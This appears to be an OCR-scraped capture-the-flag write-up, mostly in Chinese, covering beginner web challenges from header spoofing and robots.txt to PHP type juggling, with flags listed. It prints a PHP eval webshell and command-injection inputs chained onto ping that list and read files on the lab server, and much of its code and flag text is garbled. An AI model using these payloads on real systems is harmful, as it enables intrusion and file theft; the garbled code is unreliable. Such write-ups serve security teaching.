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0x01 view source
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document .oncontextmenu=new Function("return false")
document.onselectstart=new Function("return false")

</scripts
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http://111.198. 29. 45:51254/2
a=1

Auto-Pwn™
Enable Post Data
b=J !

[Oenable Referer

flag: cyberpeace{c4e43c9c9d0f729358dd9417219a9da0}

0x03 robots

robots Wil & 7E W3k 3 H 7= 4 —Arobots txtSC#F, FTH M, FRflaghifEM B, Vilalflag_is_h3re.php3kEiflag

< C @ F2=2 | 111.198.29.45:48364/robots.txt

Tzer-agent: *
Dizallow:
Dizallow: flag lz_hire.php

flag: cyberpeace{1b59446bc8e566382e01b0c209b899hd}

0x04 backup

By S =
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flag: cyberpeace{4376485b1a095581d7fb57b8ab3bb924}
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[® [ | FElements Console Sources Metwork  Performance

® © wmF Q | Vw

x

Name

111.198.29.45

bootstrap.min.css
libs.baidu.com/bootstrap/3....
= bootstrap.min.css
— libs.baidu.com/bootstrap/3....

Irequests | 583 B transferred | ¢

{RENE(HAZcookield?

Memory Application  Security  Audits
= [ Group by frame | [ Preservelog [ Disable cache | [ Offiine Mo throtting ¥

Headers  Preview Response  Cockies  Timing

Accept-Language: zh-CN,zh;q=8.9

Cache-Control: max-age=0
Connection: keep-alive
look-here=cockie.php

145475

: 111.198.29.

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Windows NT 10.@; Win64; x64) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/75.2.3778.109 Safari/537.36

Host

< C @O F==2| 111.198.29.45:45475/cookie.php
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x o Elements  Console
® O m Yy Q| Vew

MName

php
bootstrap.min.css
libs.baidu.com/bootstrap/3....

=i bootstrap.min.css
— libs.baidu.com/bootstrap/3....

3 requests | 578 B transferred | €

See the http response

Sources  Metwork  Performance  Memory  Application  Security  Audits

= [ Group by frame | [ Preservelog [ Disable cache | [ Offline Mo throtting ¥

X Headers Preview Response Cookies Timing
Tontent-Encoding: gzip
Content-length: 253
Content-Type: text/html
Date: Mon, 15 Jul 2019 83:33:12 GMT
flag: cyberpeace{@816FF94f7edddb54f92f5c9d826a1a0}
Keep-Alive: timeout=5, max=182
Server: Apache/2.4.7 (Ubuntu)

Vary: Accept-Encoding

flag: cyberpeace{0816ff94f7edddb54f92f5c9d826a1a0}
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flag
K ﬂ Elements  Console  Sources Network Performance Memory  Application Security Audits
html:
¥ <head>..</head
¥ <body >

<3 REEHREIE /n 3
¥ <form action method="post™>

<input disabled="" class="btn btn-default” style="height:58px;width:28@px;" type="submit” walue="flag" name="auth">

flag: cyberpeace{de3c3c35166596311b23137ae6f3d33a}

0x07 simple_js
2 LIRS

<html>
<head>
{titlerJ5< titler
{goript type="texts javascript’)
function dechiffre(pass_enc) {
var pass = "70, 65, 86, 89, 32, 80, 66, 83,83, 7, 79, 52, 68, 32,72, 66, 72, 687,
war tah = pass_enc.split (7,7 ),
war tab2 = pass.split (.7 )ivar 1, j, k. 1=0.mr.op = "1 = 0;j = tab. length;
k=j+ (1) + (o)
n = tabZ length;

for{i = {o=0): i < k= j =n): i+ ) {o = tab[i-1]:p += String. from‘harCode ({0 = tab2[i]}):
if (i = 5)break:}
forii= (e=li; i < (k=37=mn); ix+ ){

o = tzh[i-1];
if(i > B &k i < Lk-1)
p += String.from‘harCode( (o = tab2[il));
}
p += String.fronCharCode(tab2[17]];

pass = p,return pass;

i
String[“fronCharCode” ] (dechiffre (" \x3x36ha2chm 3B 3 A2 353 a2 x 3TV Il ohad sl DG B e 36 3% 203 a3 134 20h 3 D3 i3 A2 a3 D303 T 2ot a3 e o3B30 1)

h = window, prompt © Enter password’):
alert { dechiffreih) J:

fzoripty
</head>

</html>

KifromCharCoded {1633 # # Nascii =4
55,56,54,79,115,69,114,116,107,49,50 , {HEBAZ GIELAXT, BAEIRNE, RIWEAREFE HBltab, B2
4 i | b




< >JS</ >
< type=" =
function dechiffre(pass_enc){
var pass
var tab = pass_enc.split(',");
var tab2 = pass.split(',');var i,j,k,|=0,m,n,0,p ;i = 0;j = tab.length;
k=j+(l) +(n=0);
n = tab2.length;
for(i = (0=0); i < (k =j =n); i++ )
o = tabl[i-l];

p += String.fromCharCode((o = tabli]));
if(i == 5)break;
}
for(i = (0=0); i < (k =j = n); i++ ¥
o = tabl[i-l];
if(i > 5 && i <k-1)

p += String.fromCharCode((o = tabl[i]));

}

p += String.fromCharCode(tab2[17]);
pass = p;return pass;

alert( dechiffre(s) );

B RS AR 7 B v N R A
flag: cyberpeace{7860sErtk12}
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MRG58 — N ERZIPHOE A i8123.123.123.123, #RiEhtpthril, k7B HIX-Forwarded-For B2 F 3k ) 5 &% JR 46 1)

KiRip, BP A burpsuithtEhttpiE R4, 78k FZBHINX-Forwarded-For=z Bt v] LLAA S K iFip

[Target TProxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TComparer T Extender T Project options T User options TAIens ]

J Intercept T HTTP history TWebSockets history Tcpticms ]

[#] Request to http:/detectportal.firefox.com:80 [104.99.238.104]

R Z G R E—ANTH, ZERUHK H https//:www.google.com.

httpi% 3K 3k H Referers BU 2 F R & VR AR 55 4% % W TR RN T T BB oK, B % ZAE T8 Rk P F I\ —>Referer s B

l Forward J l Drop J [ Intercept is on W l Action J Comment this item % |2
Raw | Headers | Hex

Name | value add

GET fsuccess.txt HTTR/1.1

Host detectportal.firefox.com BEEE

User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept b Up

Accept-Language en-Us.en;q=0.5

Accept-Encoding gzip. deflate Po—

Cache-Control no-cache

Pragma no-cache

Connection close

X-Forwarded-For [123.123.123.123

[Target TPruxy T Spider I Scanner I Intruder T Repeater T Sequencer T Decoder IComparer I Extender I Project options I User options TAlEI’"{S ]

_[ Intercept T HTTP history T WehSockets history T Options ]

(] Request to hittp://111.198 29.45:51787

l Forward J L Drop J ( Intercept is an ] l Action J mme s item 12| |12
m Headers | Hex

Name | value add
GET fHTTR/1.1

Host 111.198.29.45:51787 Remove
User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept text/html.application/xhtml+xml.application/xml;:g=0.9.%/*:q=0.8 up
Accept-Language en-Us.en;q=0.5

Accept-Encoding gzip. deflate Fo—
Connection close

Upgrade-Insecure-Requests 1

Cache-Control max-age=0

X-Forwarded-For 123.123.123.123

Referer [https:iwww.google.com

2215 2lflag

flag: cyberpeace{17bb357d42b6151576a75f2ef3089cdb}

0x09 webshell

{r&{EFHwebshellld?

<7php @eval($_POST['shell]): 7=

W TR ) — N — a1 iE AR D webshell, BiEF®E, TEEBIXMwebshell




s X

Hiit: | http://111.198.29. 4534611 [shell
B
w=wE:
ERTET] | |PHP(Eval) = ||uTF-8 ~| @i
R T &
¥ Fflag
I5) Avar fwww/himl / VA ||
111.198.29. 45 B (0), @) B Adigl o i
B/ E] flag txt 2019-07-14 09:25:13 44 0664
= El'm (] index. phe 2018-08-27 04:02:04 539 0664

flag: cyberpeace{8333cbdfb5aa36d1238a005b1241a6¢ch}

0x0A command_execution

PING

EELA = pingfiBit

PING

ping -c 3 127.@.0.1

PING 127.8.8.1 (127.8.8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.864 ms
64 bytes from 127.2.8.1: icmp_seq=2 ttl=64 time=0.85% ms
&4 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.847 ms

--- 127.8.0.1 ping statistics ---
3 packets transmitted, 3 received, 9% packet loss, time 1999ms
rtt min/avg/max/mdev = 8.847/8.056/6.064/8.811 ms

—Aweb®efF, HARZMpingf4, MEISHEN3, MEMRZ hHLXMEFRE Swal, BHITESH, BT LB
linux& B AT Ay & Fflag

& find / 51l th & 47 B A 3CAF



ping -c 3 & find /

!

/boot

Srun

Srun/sendsigs.omit.d
Srun/utmp

Srun/network
Srun/resolvconf
Srun/resolvconft/resolv.conf
frun/resolvconf/interface
frun/resolvcont/interface/original. resolvcont
Srun/lock
frun/lock/apache2
Srun/motd. dynamic

72 P 5T T R Eflag BT 7E /D B 3%, F cati B

ping -c 3 & cat /home/flag.txt
cyberpeace{25b31692838e840338319916e@3e07a5}

flag: cyberpeace{25b31692838e8403383f9916e03e0705}
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<plp

show_source (__FILE )

include (" config. php)

=@ GET[ 2" ]1:

b=t GET[ B ];

if($a=—0 and $a){
echo  §flagl:

1

if{iz_mmeric (b)) {
exit():

1

1 (Fbr1234) |

echo  $flazs:
1
T

RIEM TGRS, FEBSUHEZFANSH, REFRHRRGLERERE, BN RERSHa N RN RGN0, B A%
PR R R AR A ET, (AR KT 1234,
A FphpZE B IR, 7T AR A7 5 T 78 00 7759 2 2% fF 3K B flag .«

< C @ F=2| 111.198.29.45:31313/?a=0a&b=1235b

<7php

show source( FILE )

include ( config. php*) ;

ba=mf GET[ &' 1;

=@ GET[ b 1,

if (fa=0 and $a) |
echo  $flagl;

1

if (is_mmeric ($b) ) {
exit();
I
if ($br1234) {
echo  $flagl;
1

T

Cyberpeace{647E37C7627CC3E4019ECE9224F66CTC)

flag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C})

0x0C weak_auth

WHEIRR, FHadmin& 3, burpsuit®E IWEE, B30 % k.

cyberpeace{32ccebc9e3346cbb90ac65986550e7e4)
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